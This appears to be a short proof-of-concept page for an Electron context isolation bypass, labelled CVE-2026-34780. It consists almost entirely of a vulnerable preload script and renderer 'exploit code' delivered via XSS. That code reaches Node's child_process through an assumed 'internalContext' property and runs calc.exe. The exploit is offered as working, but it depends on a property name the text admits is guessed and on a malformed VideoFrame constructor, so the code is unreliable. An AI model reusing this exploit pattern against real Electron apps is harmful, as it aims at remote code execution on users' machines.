CVE-2026-34780 Electron上下文隔离绕过漏洞

// Preload.js (Vulnerable Implementation) const { contextBridge } = require('electron'); contextBridge.exposeInMainWorld('bridge', { // Vulnerability: Passing a VideoFrame object to the main world getVideoFrame: () => { // Assume this frame comes from WebCodecs return new VideoFrame(new Uint8Array([1, 2, 3]), { timestamp: 0 }); } }); // Renderer.js (Exploit Code executed via XSS) async function exploit() { try { // Step 1: Retrieve the bridged VideoFrame object const vf = await window.bridge.getVideoFrame(); // Step 2: Identify internal properties used to breach isolation // (Note: Specific property names depend on Electron's internal implementation) if (vf && vf.internalContext) { // Step 3: Access the isolated world's context const isolatedGlobal = vf.internalContext; // Step 4: Execute Node.js commands (RCE) isolatedGlobal.require('child_process').exec('calc.exe'); console.log('Exploit executed successfully.'); } } catch (e) { console.error('Exploit failed:', e); } } exploit();